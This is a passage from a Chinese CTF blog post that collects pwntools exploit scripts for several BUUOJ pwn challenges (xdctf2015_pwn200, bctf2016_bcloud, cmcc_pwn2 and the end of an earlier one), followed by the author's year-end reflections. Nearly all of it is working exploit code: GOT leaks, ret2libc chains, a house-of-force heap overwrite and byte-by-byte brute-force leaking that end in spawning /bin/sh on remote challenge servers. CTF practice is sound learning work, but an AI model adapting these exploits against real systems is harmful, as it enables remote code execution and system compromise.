			payload = p64(0) + p64(0x21) + p64(elf.got['__libc_start_main'] + 5 - pos) + p64(elf.plt['puts']) + p64(pos + 1)
        		edit(1,payload)
        		login(0,pos + 1,chr(i) + content)
			data = sh.recvuntil('---Menu---')
			print(i)
			if(data.find("success") != -1):
				log.success("get!" + hex(i))
				return i
	register(0,0x68,'\x11' * 0x68)
	register(1,0x68,'\x22' * 0x68)
	free(0)
	free(1)
	#0x400B94 call
	#0x400B53 read
	#login(0,0x7fffffff,p64(elf.got['__libc_start_main']) + p64(elf.plt['puts']))
	#edit(0,p64(0))

	#payload = p64(0) + p64(0x21) + p64(elf.got['__libc_start_main'] + 5) + p64(elf.plt['puts']) + p64(1)
	#edit(1,payload)
	#login(0,1,'\x7f')
	#__libc_start_main = chr(bomb(0,''))
	__libc_start_main = '\x7f'
	__libc_start_main = chr(bomb(1,__libc_start_main)) + __libc_start_main
	__libc_start_main = chr(bomb(2,__libc_start_main)) + __libc_start_main
	__libc_start_main = chr(bomb(3,__libc_start_main)) + __libc_start_main
	__libc_start_main = chr(bomb(4,__libc_start_main)) + __libc_start_main
	#__libc_start_main = chr(bomb(5,__libc_start_main)) + __libc_start_main
	__libc_start_main = '\x40' + __libc_start_main
	__libc_start_main = u64(__libc_start_main.ljust(8,'\x00'))
	


	log.success("__libc_start_main: " + hex(__libc_start_main))	
	#gdb.attach(sh)
	log.success("__libc_start_main_got: " + hex(elf.got['__libc_start_main']))
	log.success("puts_plt: " + hex(elf.plt['puts'])) 
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']

	payload = p64(0) + p64(0x21) + p64(binsh) + p64(system) + p64(8)
	edit(1,payload)
	login(0,8,'/bin/sh\x00')

	log.success("libc: " + hex(libc))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("__malloc_hook: " + hex(__malloc_hook))
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",25522,0)

0x98 xdctf2015_pwn200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
sh = remote("node3.buuoj.cn",28965)
elf = ELF("bof.dms")
lib = ELF("libc-2.23_x32.so")
offset = 112
pop3_ret = 0x08048629
payload = offset * b"a"
payload += p32(elf.plt['write'])
payload += p32(pop3_ret)
payload += p32(1)
payload += p32(elf.got['__libc_start_main'])
payload += p32(4)
payload += p32(elf.symbols['main'])
sh.sendline(payload)
libc = u32(sh.recvuntil("\xf7")[-4:]) - lib.symbols['__libc_start_main']
system = libc + lib.symbols['system']
binsh =  libc + lib.search(b'/bin/sh\x00').next()
payload = offset * b"a"
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)
sh.sendline(payload)
sh.interactive()

0x99 bctf2016_bcloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("bcloud_bctf_2016")
sh = 0
lib = 0
def add(size,content):
	sh.recvuntil(">>")
	sh.sendline("1")
	sh.recvuntil(":")
	sh.sendline(str(size))
	if size > 0:
		sh.recvuntil(":")
		sh.send(content)
def edit(idx,content):
	sh.recvuntil(">>")
	sh.sendline("3")
	sh.recvuntil(":")
	sh.sendline(str(idx))
	sh.recvuntil(":")
	sh.send(content)
def free(idx):
	sh.recvuntil(">>")
	sh.sendline("4")
	sh.recvuntil(":")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./bcloud_bctf_2016")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23_x32.so")
	sh.recvuntil(":")
	sh.send("b" * 0x40)
	sh.recvuntil("b" * 0x40)
	heap_base = (u32(sh.recv(4)) >> 12) << 12
	topChunk = heap_base + 0xd8
	sh.recvuntil(":")
	sh.send(0x40 * "a")
	sh.recvuntil(":")
	sh.sendline("\xff" * 0x4)
	notesize_addr = 0x0804B0A0
	notelist_addr = 0x0804B120
	add(notesize_addr - topChunk - 0x10,'')
	payload = p32(0x400) * 10
	payload = payload.ljust(0x0804B120 - 0x0804B0A0,'\x00')
	payload += p32(elf.got['free'])
	payload += p32(notesize_addr)
	payload += p32(elf.got['__libc_start_main'])
	add(0x400,payload + "\n")
	edit(0,p32(elf.plt['puts']) + "\n")
	free(2)
	__libc_start_main = u32(sh.recvuntil('\xf7')[-4:])
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	edit(0,p32(system) + "\n")
	edit(1,payload + p32(binsh) + "\n")
	free(3)
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",29792,0)

0x100 cmcc_pwn2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = "debug"
sh = remote("node3.buuoj.cn",25076)
elf = ELF("pwnme2")
lib = ELF("libc-2.23_x32.so")
pop_ebp_ret = 0x08048680
offset = 0x70
payload = offset * "\xaa"
payload += p32(elf.plt['gets'])
payload += p32(pop_ebp_ret)
payload += p32(0x0804A060)
payload += p32(0x080485CB)
sh.sendlineafter("Please input:",payload)
sleep(0.2)
sh.sendline("/flag")
sh.interactive()

感想：

2019年底了，我还是单身(ﾟДﾟ≡ﾟдﾟ)!?，一天天看着0202年的到来～～（划重点）

啦啦啦 完结撒花 今年的任务算是完成了～(￣▽￣～)

这100个EXP算是对得起我今年努力和学习，同时巩固了自己的知识(｀・ω・´)

祝BUUOJ越来越好！（￣▽￣） 赵总越来越rich

南梦小剧场：

神秘人：BUUOJ刷题之旅续作还有吗，还有木有100个EXP吗？←_←

南梦：之后的刷题之旅不再公开了，但是当前这篇刷题之旅会一直公开，至于之后有木有100个EXP，那就看我明年的学习成果了（你竟然想让我进一步秃头？？？ (´；ω；`) 100个EXP，瞧瞧这是人说的话吗？）

神秘人：你天天喊着找女朋友，有女朋友了还会继续刷题吗？

南梦：有女朋友还打什么CTF，陪女朋友不好吗？（立即打开BUUOJ开始刷题，女朋友什么的最烦了）

更新与维护

后续可能会进一步更新x64和x32的解法（如果存在解的话）

EXP解释之后可能会进一步完善（ 就看我有没有女朋友了(°∀°)ﾉ ）

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/07/13/CTF-BUUCTF-Pwn%E5%88%B7%E9%A2%98%E4%B9%8B%E6%97%85-(1)/
版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客！
CTF Pwn
打赏
  • 微信
    微信
  • 支付宝
    支付宝
相关推荐
2018-12-07
CTF-JarvisOJ-Basic-ROPGadget
2018-11-27
CTF-JarvisOJ-Basic-Shellcode
2018-12-12
CTF-JarvisOJ-Pwn-[61dctf]fm
2018-11-30
CTF-JarvisOJ-Pwn-[XMAN]level0
2018-11-30
CTF-JarvisOJ-Pwn-[XMAN]level1
2019-04-14
CTF-JarvisOJ-Pwn-[XMAN]level3_x64
评论